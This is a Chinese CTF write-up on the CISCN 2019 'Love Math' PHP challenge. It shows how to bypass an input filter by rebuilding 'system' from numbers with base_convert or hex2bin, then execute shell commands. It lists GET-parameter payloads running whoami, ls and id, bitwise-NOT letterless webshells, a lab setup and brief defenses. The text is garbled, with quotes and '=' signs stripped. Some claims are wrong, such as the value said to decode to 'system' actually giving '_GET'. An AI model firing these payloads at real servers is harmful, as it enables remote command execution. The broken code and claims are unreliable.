PHP代码审计:利用进制转换绕过过滤实现命令执行 1. 题目背景与核心考点解析[CISCN 2019 初赛]Love Math是一道经典的PHP代码审计题目主要考察选手对PHP弱类型比较、进制转换函数以及字符串动态执行的深入理解。题目要求通过构造特定的数学表达式绕过过滤机制实现命令执行。这道题的核心在于利用PHP的以下特性base_convert()函数实现数字与字符串的转换hex2bin()和dechex()的进制转换特性PHP动态执行字符串的特性如$c($d)形式的可变函数调用2. 题目源码分析与过滤机制根据历年CISCN赛事资料我们可以还原出题目的大致源码结构?php error_reporting(0); if(!isset($_GET[c])){ show_source(__FILE__); }else{ $c $_GET[c]; if(!preg_match(/[a-zA-Z]/is, $c)){ eval($c); }else{ die(非法字符); } } ?过滤规则的关键点禁止出现任何大小写字母允许数字和部分特殊符号通过eval动态执行输入的表达式3. 利用进制转换构造payload3.1 核心思路无字母命令执行由于直接使用函数名会被过滤我们需要通过以下步骤构造payload将函数名转换为纯数字形式在运行时将数字转换回可执行的函数名组合参数实现命令执行3.2 具体实现步骤步骤1选择目标函数我们需要执行系统命令常见选择system()exec()shell_exec()以system为例我们需要将其转换为纯数字形式。步骤2字符串到数字的转换使用base_convert()函数$f base_convert(system, 36, 10); // 将system从36进制转为10进制 echo $f; // 输出1751504350步骤3数字还原为函数名$f base_convert(1751504350, 10, 36); // 将数字转回36进制 echo $f; // 输出system步骤4组合完整payload最终构造的GET参数?c$_base_convert(1751504350,10,36);$_($_GET[1]);1whoami分解说明$base_convert(1751504350,10,36) → $system$_($_GET[1]) → system($_GET[1])1whoami → 传入执行的命令4. 替代方案与进阶技巧4.1 使用hex2bindechex组合另一种实现方式$f hex2bin(dechex(1598506324)); // 1598506324是system的十进制表示对应payload?c$_hex2bin(dechex(1598506324));$_($_GET[1]);1ls4.2 直接构造函数调用更简洁的payload构造?c(base_convert(1751504350,10,36))($_GET[1]);1id4.3 利用PHP短标签某些环境下可以使用?c?$_GET[1]?1whoami5. 防御方案与安全建议5.1 代码层面防御严格过滤所有输入参数if(preg_match(/[a-z0-9]/i, $c)){ die(非法输入); }禁用危险函数ini_set(disable_functions, system,exec,shell_exec,passthru);5.2 系统层面防护配置open_basedir限制目录访问设置安全的php.ini配置使用Docker等容器技术进行隔离6. 相关函数深度解析6.1 base_convert()详解string base_convert ( string $number , int $frombase , int $tobase )支持2-36进制转换最大支持36进制(a-z表示10-35)转换精度受限于系统环境6.2 hex2bin()与dechex()string hex2bin ( string $data ) string dechex ( int $number )hex2bin将16进制字符串转换为二进制数据dechex将10进制数转换为16进制字符串组合使用可实现数字到字符串的转换7. 实战演练与测试用例7.1 测试环境搭建docker run -d -p 8080:80 --name ctf php:7.2-apache echo ?php eval($_GET[c]);? /var/www/html/index.php7.2 测试payload集查看当前用户?c$_base_convert(1751504350,10,36);$_($_GET[1]);1whoami列出目录文件?c(hex2bin(dechex(1598506324)))($_GET[1]);1ls-la读取系统信息?c$_base_convert(696468,10,36);$_($_GET[1]);1uname-a8. 常见问题排查8.1 payload不生效的可能原因PHP版本差异不同版本进制转换结果可能不同魔术引号开启导致引号被转义安全模块拦截如disable_functions8.2 调试技巧先测试简单数学表达式确认eval可用?cphpinfo();逐步构建payload组件使用var_dump输出中间结果9. 同类题型扩展9.1 无数字字母webshell利用PHP的位运算和特殊符号构造?c~%8C%86%8C%8B%9A%92($_GET[1]);1ls9.2 限制更严格的场景当仅允许数字和少量符号时?c$_1;$_$_;$__$_;$___$_;$____$_;$__.$__.$___.$____;$_($_GET[1]);1whoami10. PHP安全编程建议永远不要直接使用eval执行用户输入使用白名单而非黑名单进行过滤对系统命令执行进行严格的参数校验定期更新PHP版本修复已知漏洞使用专业的代码审计工具检查安全隐患在实际开发中应当避免使用eval、system等危险函数必要时可以使用escapeshellarg等函数对参数进行严格过滤。对于必须使用动态执行的场景建议使用call_user_func等更安全的替代方案并配合严格的权限控制。